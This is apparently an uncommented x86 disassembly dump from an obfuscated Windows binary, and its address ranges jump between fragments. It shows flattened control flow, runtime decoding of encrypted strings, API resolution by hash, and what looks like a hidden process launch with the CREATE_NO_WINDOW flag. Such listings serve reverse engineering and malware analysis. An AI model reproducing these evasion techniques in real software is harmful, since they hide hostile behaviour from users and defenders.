call fcn.00404e10
add esp, 4
xor eax, eax
cmp dword [esp + 0xc], 0
setg al
jmp dword [eax*4 + 0x44b438]
lea ecx, [esp + 0x1b8]
push 1
call fcn.0040d680
mov eax, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + 0x450435], 0
lea eax, [eax + 1]
jne 0x411c40
mov dword [esp + 0x2c], 0x63c3858
mov dword [esp + 0x30], 0x1d064d09
mov word [esp + 0x34], 0x9700
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
mov ecx, 0xe5
mov edx, 0x1a
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0xb9]
mov edi, edx
and edi, 3
mov esi, ecx
and esi, 0xbc
or esi, edi
xor esi, 0x43
or esi, ebx
not ebx
or ebx, edx
and ebx, esi
add bl, 0x87
mov byte [esp + ecx - 0xb9], bl
inc ecx
dec edx
cmp ecx, 0xf5
jne case.default.0x411ce7
lea esi, [esp + 0x1b8]
mov ecx, esi
push eax
push 0x450434
lea eax, [esp + 0x34]
push eax
call fcn.0040d8f0
mov ecx, esi
call fcn.0040dfb0
mov ecx, esi
call fcn.0040d6c0
xor eax, eax
cmp dword [esp + 0x14], 0
setg al
jmp dword [eax*4 + 0x44b440]
push 0
call fcn.004441f0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b448]
mov dword [esp + 0x2c], 0x239f2183
mov dword [esp + 0x30], 0x27d82580
mov dword [esp + 0x34], 0x3bb2399d
mov dword [esp + 0x38], 0x3fde3d99
mov dword [esp + 0x3c], 0x338131d2
mov dword [esp + 0x40], 0x37973580
mov dword [esp + 0x44], 0xbbe09ba
mov dword [esp + 0x48], 0xff10dec
mov dword [esp + 0x4c], 0x3bb01bd
mov dword [esp + 0x50], 0x7e605ba
mov dword [esp + 0x54], 0x1ba719bb
mov dword [esp + 0x58], 0x1fe01db8
mov dword [esp + 0x5c], 0x139a11b5
mov dword [esp + 0x60], 0x17f615b1
mov dword [esp + 0x64], 0xeb15e90a
mov dword [esp + 0x68], 0xef0eed4f
mov dword [esp + 0x6c], 0xe35be154
mov dword [esp + 0x70], 0xe743e559
mov dword [esp + 0x74], 0xfb4ff947
mov dword [esp + 0x78], 0xff1efd48
mov dword [esp + 0x7c], 0xf346f10f
mov dword [esp + 0x80], 0xf705f514
mov dword [esp + 0x84], 0xcb35c928
mov dword [esp + 0x88], 0xcf71cd72
mov dword [esp + 0x8c], 0xc370c162
mov dword [esp + 0x90], 0xc767c561
mov dword [esp + 0x94], 0xdb3ad963
mov dword [esp + 0x98], 0xdf3edd3a
mov dword [esp + 0x9c], 0xd377d174
mov dword [esp + 0xa0], 0xd736d568
mov dword [esp + 0xa4], 0xabaaa94a
mov byte [esp + 0xaa], 0
mov word [esp + 0xa8], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0x2c]
mov ebx, ecx
and ebx, 0x90
mov esi, edx
xor esi, 0xfd227148
add esi, ebx
mov ebx, esi
and ebx, edi
add esi, edi
add ebx, ebx
sub esi, ebx
add esi, 0xe53c997
mov edi, esi
and edi, 0x12
xor esi, 0x12
lea ebx, [esi + edi*2]
add bl, 0xef
mov byte [esp + edx + 0x2c], bl
inc edx
add ecx, 2
cmp edx, 0x7f
jne 0x411e40
movzx ecx, word [esp + 0x2c]
test cx, cx
lea esi, [esp + 0x1b8]
je 0x411eb1
lea esi, [esp + 0x1b8]
lea edx, [esp + 0x2e]
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x411ea0
mov word [esi], 0
movzx ecx, word [eax]
test cx, cx
je 0x411ee1
add eax, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [eax]
add eax, 2
test cx, cx
jne 0x411ed0
mov dword [esi], 0x220022
mov dword [esi + 4], 0x22
mov dword [esp + 0x6c], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x58], 1
push 0x38c42730
push dword [0x451434]
call fcn.004442e0
add esp, 8
lea ecx, [esp + 0x18]
lea edx, [esp + 0x1b8]
push ecx
lea ecx, [esp + 0x30]
push ecx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push edx
push 0
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44b450]
nop
nop
nop
nop
jmp dword [0x44b474]
lea ecx, [esp + 0x9b8]
call fcn.0040d6c0
lea ecx, [esp + 0xaa0]
call fcn.0040d6c0
lea ecx, [esp + 0xb08]
call fcn.0040d6c0
lea ecx, [esp + 0xb70]
call fcn.0040d6c0
lea ecx, [esp + 0xbd8]
call fcn.0040d6c0
lea ecx, [esp + 0xc40]
call fcn.0040d6c0
mov al, 1
jmp 0x412272
jmp dword [0x44b458]
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x2c2d2e2f
mov word [esp + 4], 0
mov ecx, 0xf8a5adb8
movzx edx, byte [esp + ecx + 0x75a5248]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x68
mov byte [esp + ecx + 0x75a5248], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x412032
mov ecx, dword [0x451440]
test ecx, ecx
je 0x412099
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x451444]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x41207f
inc esi
cmp ecx, esi
jne 0x41206f
jmp 0x412099
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x412099
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
mov eax, dword [esp + 0x18]
mov dword [esp], 0x2c2d2e2f
mov word [esp + 4], 0
mov ecx, 0xf8a5adb8
movzx edx, byte [esp + ecx + 0x75a5248]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x68
mov byte [esp + ecx + 0x75a5248], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x4120b0
mov ecx, dword [0x451440]
test ecx, ecx
je case.0x411ce7.5
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x451444]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x4120fd
inc esi
cmp ecx, esi
jne 0x4120ed
jmp case.0x411ce7.5
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x411ce7.5
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
jmp case.0x411ce7.5
jmp dword [0x44b460]
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x2c2d2e2f
mov word [esp + 4], 0
mov ecx, 0xf8a5adb8
nop
nop
nop
movzx edx, byte [esp + ecx + 0x75a5248]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x68
mov byte [esp + ecx + 0x75a5248], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x412140
mov ecx, dword [0x451440]
test ecx, ecx
je 0x4121b0
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x412190
inc esi
cmp ecx, esi
jne 0x412180
jmp 0x4121b0
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x4121b0
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x18]
mov dword [esp], 0x2c2d2e2f
mov word [esp + 4], 0
mov ecx, 0xf8a5adb8
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x75a5248]
mov ebx, edx
and ebx, ecx
add bl, bl
sub dl, bl
movzx edx, dl
add edx, ecx
add dl, 0x68
mov byte [esp + ecx + 0x75a5248], dl
inc ecx
cmp ecx, 0xf8a5adbe
jne 0x4121d0
mov ecx, dword [0x451440]
test ecx, ecx
je 0x412120
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x451444]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x412233
inc esi
cmp ecx, esi
jne 0x412220
jmp 0x412120
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x412120
push eax
push 1
push ecx
push dword [0x451448]
call fcn.004417a0
add esp, 0x10
jmp dword [0x44b460]
movzx eax, al
jmp dword [eax*4 + 0x44b408]
push edi
call fcn.00404e10
add esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
xor eax, eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
call fcn.0043b5a0
call fcn.0043b5a0
jmp dword [0x44b400]
push dword [esp + 0x10]
call fcn.0043e770
add esp, 4
push dword [esp + 0x10]
call fcn.0043e770
add esp, 4
jmp dword [0x44b3cc]
int3
call fcn.0040e5f0
mov dword [esi + 0x5e8], 1
mov eax, dword [esi + 0x5ec]
mov ecx, dword [esi + 0x5e8]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x64]
jmp eax
mov dword [esi + 8], ebx
call fcn.0040e5f0
mov dword [esi + 0x7b0], 0
mov eax, dword [esi + 0x7b4]
mov ecx, dword [esi + 0x7b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x5a8]
mov ecx, dword [esi + 0x5ac]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov cl, byte [esi + 0x25]
mov al, cl
and eax, 1
mov dword [esi + 0x560], eax
mov eax, dword [esi + 0x564]
mov ecx, dword [esi + 0x560]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esi + 0xc]
jmp eax
call fcn.0040e5f0
xor eax, eax
mov ecx, dword [esi + 0x18]
sub ecx, 1
sete cl
mov dword [esi + 0x690], 0
mov edx, dword [esi + 0x694]
mov edi, dword [esi + 0x690]
mov edx, dword [edx + edi*4]
jmp edx
push eax
mov dword [esi + 0x1a4], esp
sub esp, 8
mov dword [esi + 0x2c], esp
push eax
mov dword [esi + 0x1a0], esp
sub esp, 8
mov dword [esi + 0x28], esp
push eax
mov dword [esi + 0x19c], esp
sub esp, 0x400
mov dword [esi + 0x198], esp
push eax
mov dword [esi + 0x14], esp
push eax
mov dword [esi + 0x58], esp
push eax
mov dword [esi + 0x54], esp
push eax
mov dword [esi + 0x194], esp
push eax
mov dword [esi + 0x190], esp
sub esp, 8
mov dword [esi + 0x18c], esp
push eax
mov dword [esi + 0x21c], esp
sub esp, 0x40
mov dword [esi + 0x188], esp
sub esp, 0x60
mov dword [esi + 0x184], esp
sub esp, 0x14
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0x218], esp
push eax
mov dword [esi + 0x84], esp
sub esp, 0x10
mov dword [esi + 0x38], esp
push eax
mov dword [esi + 0x180], esp
sub esp, 0x10
mov dword [esi + 0x80], esp
push eax
mov dword [esi + 0x214], esp
sub esp, 0x10
mov dword [esi + 0x17c], esp
push eax
mov dword [esi + 0x210], esp
push eax
mov dword [esi + 0x7c], esp
sub esp, 8
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0x178], esp
sub esp, 8
mov dword [esi + 0x50], esp
push eax
mov dword [esi + 0x174], esp
sub esp, 0x18
mov dword [esi + 0x78], esp
push eax
mov dword [esi + 0x20c], esp
sub esp, 8
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 0x208], esp
sub esp, 0x3c
mov dword [esi + 0x48], esp
push eax
mov dword [esi + 0x204], esp
sub esp, 0x34
mov dword [esi + 0x74], esp
push eax
mov dword [esi + 0x200], esp
sub esp, 0x44
mov edi, esp
sub esp, 0x10
mov dword [esi + 0x70], esp
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x170], eax
mov esp, eax
push eax
sub esp, 0x40
mov dword [esi + 0x1fc], esp
sub esp, 0x10
mov dword [esi + 0x6c], esp
mov eax, dword [esi + 0x7e0]
mov ecx, dword [esi + 0x7e4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x4b0], 1
mov eax, dword [esi + 0x4b4]
mov ecx, dword [esi + 0x4b0]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esi + 0x7a0], ecx
mov eax, dword [esi + 0x7a4]
mov ecx, dword [esi + 0x7a0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x3d8]
mov ecx, dword [esi + 0x3dc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x3a8]
mov ecx, dword [esi + 0x3ac]
mov eax, dword [ecx + eax*4]
jmp eax
mov edi, dword [esi + 0x14]
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.0043e770
add esp, 4
mov dword [edi], 0
mov eax, dword [esi + 0x164]
not eax
shr eax, 0x1f
mov dword [esi + 0x618], eax
mov eax, dword [esi + 0x61c]
mov ecx, dword [esi + 0x618]
mov eax, dword [eax + ecx*4]
jmp eax
sub esp, 4
mov dword [esp], ebx
call fcn.0040cde0
add esp, 4
mov eax, dword [esi + 0x578]
mov ecx, dword [esi + 0x57c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x768]
mov ecx, dword [esi + 0x76c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x728]
mov ecx, dword [esi + 0x72c]
mov eax, dword [ecx + eax*4]
mov edi, edx
jmp eax
mov eax, dword [esi + 0x58]
mov eax, dword [eax]
mov ecx, dword [esi + 0x630]
mov edx, dword [esi + 0x634]
mov ecx, dword [edx + ecx*4]
jmp ecx
sub esp, 4
mov eax, dword [esi + 0x68]
mov dword [esp], eax
call fcn.00404dd0
add esp, 4
xor ecx, ecx
mov edx, ebx
sub edx, eax
setb cl
mov dword [esi + 0x7c0], ecx
mov eax, dword [esi + 0x7c4]
mov ecx, dword [esi + 0x7c0]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, dword [esi + 0x18]
sub ecx, 2
sete cl
mov edx, dword [esi + 0x678]
mov edi, dword [esi + 0x67c]
mov edx, dword [edi + edx*4]
jmp edx
mov eax, dword [esi + 0x760]
mov ecx, dword [esi + 0x764]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x3e0]
mov ecx, dword [esi + 0x3e4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x468]
mov ecx, dword [esi + 0x46c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x548]
mov ecx, dword [esi + 0x54c]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esi + 0xc]
jmp eax
mov ecx, dword [esi + 0x14]
mov ecx, dword [ecx]
mov edi, dword [esi + 0x7c]
mov edx, dword [edi]
sub esp, 0x10
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov dword [esp + 0xc], 0
call fcn.00445200
add esp, 0x10
mov ecx, dword [edi]
mov dword [esi + 0x1e8], ecx
mov edx, dword [esi + 0x628]
mov ecx, dword [esi + 0x62c]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.0040e5f0
mov dword [esi + 0x6f0], 0
mov eax, dword [esi + 0x6f4]
mov ecx, dword [esi + 0x6f0]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x224]
mov al, byte [eax]
mov byte [esi + 0xd8], al
mov ecx, dword [esi + 0x90]
mov byte [ecx], 0xb6
mov byte [ecx + 1], 0xa7
mov byte [ecx + 2], 0x1a
mov eax, 3
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 4
jne 0x4195c3
xor eax, eax
cmp eax, 4
jae 0x4195f7
mov ecx, dword [esi + 0x90]
mov cl, byte [ecx + eax]
mov dl, al
add dl, 0x7b
xor dl, cl
mov ecx, dword [esi + 0x90]
add dl, 0x99
mov byte [ecx + eax], dl
add eax, 1
jmp 0x4195d1
sub esp, 0xc
mov dword [esp + 4], ecx
mov eax, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 8], 3
call fcn.00404cb0
add esp, 0xc
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x798], ecx
mov eax, dword [esi + 0x79c]
mov ecx, dword [esi + 0x798]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esi + 0x16c], ebx
mov eax, dword [esi + 0x1f4]
add eax, 0xa7e90a92
add eax, 0x5816f577
mov ecx, edi
xor ecx, 0xffffffff
sub ecx, 0xffffffff
sub eax, ecx
xor ecx, ecx
mov dword [esi + 0x1f8], edx
sub ecx, edx
sub eax, ecx
sub eax, 0xffffffff
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4196a4
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.0040cdd0
add esp, 4
mov ebx, eax
mov eax, dword [esi + 0x20c]
mov al, byte [eax]
mov byte [esi + 0x128], al
mov ecx, dword [esi + 0x78]
mov byte [ecx], 0xb6
mov byte [ecx + 1], 0x39
mov byte [ecx + 2], 0xbb
mov byte [ecx + 3], 0x37
mov byte [ecx + 4], 0x46
mov byte [ecx + 5], 0x35
mov byte [ecx + 6], 0x4e
mov byte [ecx + 7], 0x33
mov byte [ecx + 8], 0x44
mov byte [ecx + 9], 0x31
mov byte [ecx + 0xa], 0x3a
mov byte [ecx + 0xb], 0x4f
mov byte [ecx + 0xc], 3
mov byte [ecx + 0xd], 0x4d
mov byte [ecx + 0xe], 4
mov byte [ecx + 0xf], 0x4b
mov byte [ecx + 0x10], 0x48
mov byte [ecx + 0x11], 0x49
mov eax, 0x12
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 0x15
jne 0x419711
xor eax, eax
mov dword [esi + 0xc], ebx
cmp eax, 0x15
jae 0x41977b
mov ecx, dword [esi + 0x78]
movzx ecx, byte [ecx + eax]
mov edx, eax
shl edx, 1
and edx, 0xa762316c
mov edi, eax
xor edi, 0x53b118b6
add edi, edx
mov ebx, edi
xor ebx, 0xffffffff
mov edx, ecx
or edx, ebx
mov ebx, edx
shl ebx, 1
xor ebx, 0xffffffff
add edx, ebx
xor edi, 0xffffffff
and ecx, edi
mov edi, ecx
xor edi, 0xffffffff
mov ebx, edx
and ebx, edi
mov edi, edx
xor edi, ecx
mov ecx, dword [esi + 0x78]
add edx, edi
sub edx, ebx
mov ebx, dword [esi + 0xc]
add dl, 0x72
mov byte [ecx + eax], dl
add eax, 1
jmp 0x419722
mov edi, ecx
call fcn.0040e5f0
call fcn.0040e5f0
sub esp, 8
mov dword [esp + 4], edi
mov dword [esp], ebx
call fcn.0040f610
add esp, 8
mov word [eax], 0x20
mov ecx, eax
add ecx, 4
mov word [eax + 2], 0x22
sub esp, 8
mov ebx, dword [esi]
mov dword [esp + 4], ebx
mov dword [esp], ecx
call fcn.0040f610
add esp, 8
mov edi, eax
add edi, 2
mov word [eax], 0x22
mov dword [esi + 0x580], 0
mov eax, dword [esi + 0x584]
mov ecx, dword [esi + 0x580]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov ecx, 0x11
mov ebx, dword [esi + 0x1fc]
mov edi, ebx
rep stosd dword es:[edi], eax
mov dword [ebx], 0x44
mov eax, dword [0x451434]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x38c42730
call fcn.004442e0
sub esp, 0x20
mov ecx, dword [esi + 0x6c]
mov dword [esp + 0x24], ecx
mov dword [esp + 0x20], ebx
mov ecx, dword [esi + 0xc]
mov dword [esp + 4], ecx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp], 0
call eax
xor ecx, ecx
test eax, eax
setne cl
mov dword [esi + 0x388], ecx
mov eax, dword [esi + 0x38c]
mov ecx, dword [esi + 0x388]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x70]
mov eax, dword [eax]
mov dword [esi + 0x1e4], eax
mov eax, dword [esi + 0x410]
mov ecx, dword [esi + 0x414]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x658]
mov ecx, dword [esi + 0x65c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x400]
mov ecx, dword [esi + 0x404]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov al, dl
and eax, 1
mov dword [esi + 0x430], eax
mov eax, dword [esi + 0x434]
mov ecx, dword [esi + 0x430]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x18]
sub eax, 2
sete byte [esi + 0x23]
mov eax, dword [esi + 0x4c0]
mov ecx, dword [esi + 0x4c4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x478], 0
mov eax, dword [esi + 0x47c]
mov ecx, dword [esi + 0x478]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x650]
mov ecx, dword [esi + 0x654]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x3d0]
mov ecx, dword [esi + 0x3d4]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov eax, edi
add eax, 2
mov word [edi], 0x2c
sub esp, 0x10
mov ecx, dword [esi + 0x16c]
mov dword [esp + 8], ecx
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 0xc], 0
call fcn.0040eef0
add esp, 0x10
mov dword [esi + 0x550], 1
mov eax, dword [esi + 0x554]
mov ecx, dword [esi + 0x550]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x194]
mov al, byte [eax]
mov byte [esi + 0xfc], al
mov byte [ebx], 0xc
mov byte [ebx + 1], 0x9f
mov eax, 2
mov ecx, ebx
mov byte [ecx + eax], 0
add eax, 1
cmp eax, 4
jne 0x4199d3
xor eax, eax
cmp eax, 4
jae 0x419a24
movzx edx, byte [ecx + eax]
mov ecx, eax
add ecx, 0x69173a4f
mov edi, 0x16e8c5b0
sub edi, eax
and edi, 0x3a6b06aa
and ecx, 0xc594f955
sub ecx, edi
xor ecx, edx
mov edx, ecx
and edx, 1
or ecx, 1
add ecx, 0xc6
add edx, ecx
mov ecx, dword [esi + 0x54]
mov byte [ecx + eax], dl
add eax, 1
jmp 0x4199e1
mov edi, ecx
call fcn.0040e5f0
call fcn.0040e5f0
sub esp, 8
mov dword [esp + 4], edi
mov eax, dword [esi + 4]
mov dword [esp], eax
call fcn.00404620
add esp, 8
xor ecx, ecx
test eax, eax
setne dl
mov dword [esi + 0x708], 1
mov edi, dword [esi + 0x70c]
mov ebx, dword [esi + 0x708]
mov edi, dword [edi + ebx*4]
mov ebx, dword [esi + 0x54]
jmp edi
call fcn.0040e5f0
mov dword [esi + 0x5d0], 0
mov eax, dword [esi + 0x5d4]
mov ecx, dword [esi + 0x5d0]
mov eax, dword [eax + ecx*4]
jmp eax
xor eax, eax
mov edx, dword [esi + 0x18]
mov ecx, edx
sub ecx, 1
sete al
mov dword [esi + 0x608], eax
mov eax, dword [esi + 0x60c]
mov ecx, dword [esi + 0x608]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi]
jmp eax
xor eax, eax
mov ecx, dword [esi + 0x48]
cmp eax, 0x3c
jae 0x419b09
movzx edx, byte [ecx + eax]
mov ecx, eax
add ecx, 0x4e
mov edi, eax
add edi, 0x4e
and ecx, edi
and ecx, edx
xor edx, 0xffffffff
mov edi, 0xb1
sub edi, eax
and edi, edx
or ecx, edi
mov dl, 0x79
sub dl, cl
mov ecx, dword [esi + 0x48]
mov byte [ecx + eax], dl
add eax, 1
jmp 0x419ad5
mov eax, dword [esi + 0x528]
mov ecx, dword [esi + 0x52c]
mov eax, dword [ecx + eax*4]
mov edi, dword [esi]
jmp eax
mov eax, dword [esi + 0x390]
mov ecx, dword [esi + 0x394]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov cl, byte [esi + 0x26]
mov al, cl
and eax, 1
mov dword [esi + 0x570], eax
mov eax, dword [esi + 0x574]
mov ecx, dword [esi + 0x570]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
xor eax, eax
test edi, edi
sete cl
mov dword [esi + 0x4e8], 1
mov edx, dword [esi + 0x4ec]
mov ebx, dword [esi + 0x4e8]
mov edx, dword [edx + ebx*4]
jmp edx
mov eax, dword [esi + 0x3f8]
mov ecx, dword [esi + 0x3fc]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x780], 1
mov eax, dword [esi + 0x784]
mov ecx, dword [esi + 0x780]
mov eax, dword [eax + ecx*4]
jmp eax
mov byte [esi + 0x25], dl
movzx eax, dl
and eax, 1
mov dword [esi + 0x5c0], eax
mov eax, dword [esi + 0x5c4]
mov ecx, dword [esi + 0x5c0]
mov eax, dword [eax + ecx*4]
xor edx, edx
mov dword [esi + 0x168], edi
jmp eax
call fcn.0040e5f0
sub esp, 4
mov dword [esp], edi
call fcn.0040cee0
add esp, 4
inc eax
mov dword [esi + 0x5e0], 0
mov edx, dword [esi + 0x5e4]
mov ecx, dword [esi + 0x5e0]
mov ecx, dword [edx + ecx*4]
jmp ecx
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404990
add esp, 4
xor ecx, ecx
mov dword [esi + 0x68], eax
test eax, eax
sete cl
mov dword [esi + 0x7d8], ecx
mov eax, dword [esi + 0x7dc]
mov ecx, dword [esi + 0x7d8]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, byte [esi + 0xc4]
mov byte [esi + 0x148], cl
mov byte [esi + 0xc8], 0x2f
mov byte [esi + 0xc9], 0x2e
mov byte [esi + 0xca], 0x2d
mov byte [esi + 0xcb], 0x2c
mov ecx, 4
mov byte [esi + ecx + 0xc8], 0
add ecx, 1
cmp ecx, 6
jne 0x419c5c
mov dword [esi + 0x164], eax
xor eax, eax
cmp eax, 6
jae 0x419ca4
mov dl, byte [esi + eax + 0xc8]
movzx edi, dl
mov ecx, eax
add ecx, 0xf8a5adb8
mov ebx, ecx
and ebx, edi
shl ebx, 1
sub ecx, ebx
add cl, dl
add cl, 0x68
mov byte [esi + eax + 0xc8], cl
add eax, 1
jmp 0x419c74
mov ecx, dword [esi + 0xc8]
xor edi, edi
cmp edi, dword [0x451440]
jb 0x419cb6
jmp 0x419d18
mov eax, dword [0x451444]
cmp dword [eax + edi*8], 0xb62b8d10
sete bl
test bl, 1
jne 0x419ccc
jmp 0x419d0c
mov eax, dword [eax + edi*8 + 4]
cmp eax, ecx
jne 0x419cd6
jmp 0x419d0c
mov dword [esi + 0x1d0], ecx
mov ecx, dword [0x451448]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 1
mov eax, dword [esi + 0x1e8]
mov dword [esp + 0xc], eax
call fcn.004417a0
mov ecx, dword [esi + 0x1d0]
add esp, 0x10
test bl, 1
je 0x419d13
jmp 0x419d18
add edi, 1
jmp 0x419cac
mov eax, dword [esi + 0x620]
mov ecx, dword [esi + 0x624]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x498], 0
mov eax, dword [esi + 0x49c]
mov ecx, dword [esi + 0x498]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, dword [esi + 0x5d8]
mov ecx, dword [esi + 0x5dc]
mov ecx, dword [ecx + edx*4]
mov edi, eax
jmp ecx
sub esp, 8
mov eax, dword [esi + 0x48]
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.0040f610
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0040f610
mov ecx, dword [esi + 0x4c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.0040f610
add esp, 8
mov eax, dword [esi + 0x520]
mov ecx, dword [esi + 0x524]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esi + 0x500]
mov ecx, dword [esi + 0x504]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [esi + 0x24]
mov bl, al
and ebx, 1
mov dword [esi + 0x758], ebx
mov eax, dword [esi + 0x75c]
mov ecx, dword [esi + 0x758]
mov eax, dword [eax + ecx*4]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 8]
jmp eax
mov eax, dword [esi + 0x748]
mov ecx, dword [esi + 0x74c]
mov eax, dword [ecx + eax*4]
jmp eax
xor eax, eax
mov ecx, edx
sub ecx, edi
setb al
mov dword [esi + 0x6c8], eax
mov eax, dword [esi + 0x6cc]
mov ecx, dword [esi + 0x6c8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov dword [esi + 0x740], 1
mov eax, dword [esi + 0x744]
mov ecx, dword [esi + 0x740]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esi + 0x178]
mov al, byte [eax]
mov byte [esi + 0x11c], al
mov ecx, dword [esi + 0x10]
mov byte [ecx], 0xc6
mov byte [ecx + 1], 0xbf
